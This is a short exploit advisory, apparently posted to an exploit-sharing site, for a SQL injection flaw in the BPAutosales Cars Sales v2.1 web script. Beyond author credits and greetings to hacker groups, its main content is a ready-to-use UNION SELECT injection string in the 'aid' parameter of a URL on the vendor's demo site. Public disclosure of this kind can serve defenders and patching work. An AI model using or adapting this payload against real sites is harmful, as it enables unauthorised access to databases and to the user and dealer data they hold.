BPAutosales - Cars Sales v 2.1 Sql Injection Vulnerabilty

=========================================================
BPAutosales - Cars Sales v 2.1 Sql Injection Vulnerabilty
=========================================================


Name : BPAutosales - Cars Sales Site Sqli? Vulnerability
version: 2.1
Critical Level : HIGH
vendor URL :http://www.bpowerhouse.com
Price:$229

Author : ..::[ SONiC ]::.. aka ~the_pshyco~ <sonicdefence[at]gmail.com>
special thanks to : Sid3^effects,r0073r (inj3ct0r.com),L0rd CruSad3r,M4n0j,Bunny,Nishi,MA1201,RJ,D3aD F0x
greetz to :www.topsecure.net ,All ICW members , iNj3cT0r.com, www.andhrahackers.com
special Shoutz : my Girl Frnd [H*****]
#######################################################################################################
Description :

BPAutosales is ready for use automotive site. Users and dealers may register and post cars/bikes for sale. Users may search cars/bikes posted by other users and dealers. The site has robust dealer and administrator panels.
#######################################################################################################
Xploit :SQli Vulnerability

DEMO URL :http://www.bpowerhouse.com/demos/autosales/index.php?cmd=advertise_details&category=car&aid=-90%20union%20all%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--

###############################################################################################################
# ..::[ SONiC ]::.. aka the_pshyco
# profile http://inj3ct0r.com/author/2545





#  0day.today [2018-01-10]  #